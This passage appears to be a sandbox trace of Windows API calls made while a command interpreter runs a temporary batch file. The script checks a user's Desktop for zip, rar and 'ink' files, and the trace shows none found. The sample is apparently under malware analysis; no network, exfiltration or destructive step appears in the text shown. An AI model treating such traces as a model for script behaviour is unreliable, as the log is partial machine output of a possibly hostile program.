(HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.392] GetProcessHeap () returned 0x4e0000 [0038.392] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.392] _tell (_FileHandle=3) returned 3616 [0038.392] _close (_FileHandle=3) returned 0 [0038.392] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.393] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.393] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.393] SetFilePointer (in: hFile=0x74, lDistanceToMove=3616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0038.393] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.393] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0038.393] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x180d, lpOverlapped=0x0) returned 1 [0038.393] SetFilePointer (in: hFile=0x74, lDistanceToMove=3641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0038.393] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.zip goto zip\r\n\n\n") returned 25 [0038.393] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.393] GetFileType (hFile=0x74) returned 0x1 [0038.393] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.393] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0038.393] GetProcessHeap () returned 0x4e0000 [0038.393] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.393] GetProcessHeap () returned 0x4e0000 [0038.393] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.393] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.393] GetProcessHeap () returned 0x4e0000 [0038.393] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.393] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.394] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.394] GetProcessHeap () returned 0x4e0000 [0038.394] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.394] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.394] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.394] GetProcessHeap () returned 0x4e0000 [0038.394] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.394] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.394] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.394] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.394] GetProcessHeap () returned 0x4e0000 [0038.394] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.394] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.394] GetProcessHeap () returned 0x4e0000 [0038.394] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.394] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.394] GetProcessHeap () returned 0x4e0000 [0038.394] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.394] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.395] _tell (_FileHandle=3) returned 3641 [0038.395] _close (_FileHandle=3) returned 0 [0038.395] GetFullPathNameW (in: lpFileName="*.zip", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", lpFilePart=0x41eea8*="*.zip") returned 0x2b [0038.395] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.395] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.395] GetLastError () returned 0x2 [0038.395] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.395] GetLastError () returned 0x6 [0038.395] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.395] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.395] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.396] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.396] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.396] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.396] SetConsoleInputExeNameW () returned 0x1 [0038.396] GetConsoleOutputCP () returned 0x1b5 [0038.396] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.396] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.396] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.396] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.396] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.396] SetFilePointer (in: hFile=0x74, lDistanceToMove=3641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0038.397] GetProcessHeap () returned 0x4e0000 [0038.397] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.397] GetProcessHeap () returned 0x4e0000 [0038.397] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.397] GetProcessHeap () returned 0x4e0000 [0038.397] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.397] GetProcessHeap () returned 0x4e0000 [0038.397] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.397] GetProcessHeap () returned 0x4e0000 [0038.397] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.397] GetProcessHeap () returned 0x4e0000 [0038.397] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.397] GetProcessHeap () returned 0x4e0000 [0038.397] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.397] GetProcessHeap () returned 0x4e0000 [0038.397] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.397] GetProcessHeap () returned 0x4e0000 [0038.397] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.397] GetProcessHeap () returned 0x4e0000 [0038.397] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.397] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.397] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0038.397] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17f4, lpOverlapped=0x0) returned 1 [0038.397] SetFilePointer (in: hFile=0x74, lDistanceToMove=3643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0038.397] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.zip goto zip\r\n\n\n") returned 2 [0038.397] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.397] GetFileType (hFile=0x74) returned 0x1 [0038.397] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.397] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0038.398] GetProcessHeap () returned 0x4e0000 [0038.398] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.398] GetProcessHeap () returned 0x4e0000 [0038.398] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.398] _tell (_FileHandle=3) returned 3643 [0038.398] _close (_FileHandle=3) returned 0 [0038.398] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.398] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.398] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.398] SetFilePointer (in: hFile=0x74, lDistanceToMove=3643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0038.398] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.398] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0038.398] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17f2, lpOverlapped=0x0) returned 1 [0038.398] SetFilePointer (in: hFile=0x74, lDistanceToMove=3668, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0038.398] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.rar goto rar\r\n\n\n") returned 25 [0038.398] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.398] GetFileType (hFile=0x74) returned 0x1 [0038.398] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.399] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0038.399] GetProcessHeap () returned 0x4e0000 [0038.399] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.399] GetProcessHeap () returned 0x4e0000 [0038.399] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.399] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.399] GetProcessHeap () returned 0x4e0000 [0038.399] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.399] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.399] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.399] GetProcessHeap () returned 0x4e0000 [0038.399] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.399] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.399] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.399] GetProcessHeap () returned 0x4e0000 [0038.399] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.399] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.399] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.399] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.399] GetProcessHeap () returned 0x4e0000 [0038.399] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.399] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.399] GetProcessHeap () returned 0x4e0000 [0038.399] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.399] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.399] GetProcessHeap () returned 0x4e0000 [0038.399] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.399] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.400] _tell (_FileHandle=3) returned 3668 [0038.400] _close (_FileHandle=3) returned 0 [0038.400] GetFullPathNameW (in: lpFileName="*.rar", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", lpFilePart=0x41eea8*="*.rar") returned 0x2b [0038.400] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.400] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.401] GetLastError () returned 0x2 [0038.401] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.401] GetLastError () returned 0x6 [0038.401] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.401] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.401] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.401] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.401] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.401] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.401] SetConsoleInputExeNameW () returned 0x1 [0038.401] GetConsoleOutputCP () returned 0x1b5 [0038.401] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.401] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.402] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.402] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.402] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.402] SetFilePointer (in: hFile=0x74, lDistanceToMove=3668, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0038.402] GetProcessHeap () returned 0x4e0000 [0038.402] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.402] GetProcessHeap () returned 0x4e0000 [0038.402] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.402] GetProcessHeap () returned 0x4e0000 [0038.402] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.402] GetProcessHeap () returned 0x4e0000 [0038.402] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0038.402] GetProcessHeap () returned 0x4e0000 [0038.402] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.402] GetProcessHeap () returned 0x4e0000 [0038.402] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.402] GetProcessHeap () returned 0x4e0000 [0038.402] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.402] GetProcessHeap () returned 0x4e0000 [0038.402] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.402] GetProcessHeap () returned 0x4e0000 [0038.402] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0038.402] GetProcessHeap () returned 0x4e0000 [0038.402] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.403] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.403] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0038.403] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17d9, lpOverlapped=0x0) returned 1 [0038.403] SetFilePointer (in: hFile=0x74, lDistanceToMove=3670, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0038.403] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.rar goto rar\r\n\n\n") returned 2 [0038.403] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.403] GetFileType (hFile=0x74) returned 0x1 [0038.403] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.403] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0038.403] GetProcessHeap () returned 0x4e0000 [0038.403] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.403] GetProcessHeap () returned 0x4e0000 [0038.403] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.403] _tell (_FileHandle=3) returned 3670 [0038.403] _close (_FileHandle=3) returned 0 [0038.403] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.403] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.403] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.403] SetFilePointer (in: hFile=0x74, lDistanceToMove=3670, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0038.404] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.404] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0038.404] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17d7, lpOverlapped=0x0) returned 1 [0038.404] SetFilePointer (in: hFile=0x74, lDistanceToMove=3695, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0038.404] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.ink goto ink\r\n\n\n") returned 25 [0038.404] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.404] GetFileType (hFile=0x74) returned 0x1 [0038.404] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.404] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0038.404] GetProcessHeap () returned 0x4e0000 [0038.404] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.404] GetProcessHeap () returned 0x4e0000 [0038.404] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.404] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.404] GetProcessHeap () returned 0x4e0000 [0038.404] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0038.404] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.404] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0038.404] GetProcessHeap () returned 0x4e0000 [0038.404] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0038.404] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0038.404] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0038.404] GetProcessHeap () returned 0x4e0000 [0038.404] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.405] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0038.405] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0038.405] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0038.405] GetProcessHeap () returned 0x4e0000 [0038.405] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.405] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0038.405] GetProcessHeap () returned 0x4e0000 [0038.405] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0038.405] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0038.405] GetProcessHeap () returned 0x4e0000 [0038.405] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0038.405] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0038.406] _tell (_FileHandle=3) returned 3695 [0038.406] _close (_FileHandle=3) returned 0 [0038.406] GetFullPathNameW (in: lpFileName="*.ink", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", lpFilePart=0x41eea8*="*.ink") returned 0x2b [0038.406] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0038.406] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0038.406] GetLastError () returned 0x2 [0038.406] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0038.406] GetLastError () returned 0x6 [0038.406] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.406] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.406] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.406] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.407] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.407] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.407] SetConsoleInputExeNameW () returned 0x1 [0038.407] GetConsoleOutputCP () returned 0x1b5 [0038.407] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.407] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.407] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.407] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.407] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.407] SetFilePointer (in: hFile=0x74, lDistanceToMove=3695, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0038.407] GetProcessHeap () returned 0x4e0000 [0038.407] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0038.407] GetProcessHeap () returned 0x4e0000 [0038.407] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0038.407] GetProcessHeap () returned 0x4e0000 [0038.407] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0038.407] GetProcessHeap () returned 0x4e0000 [0038.407] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, 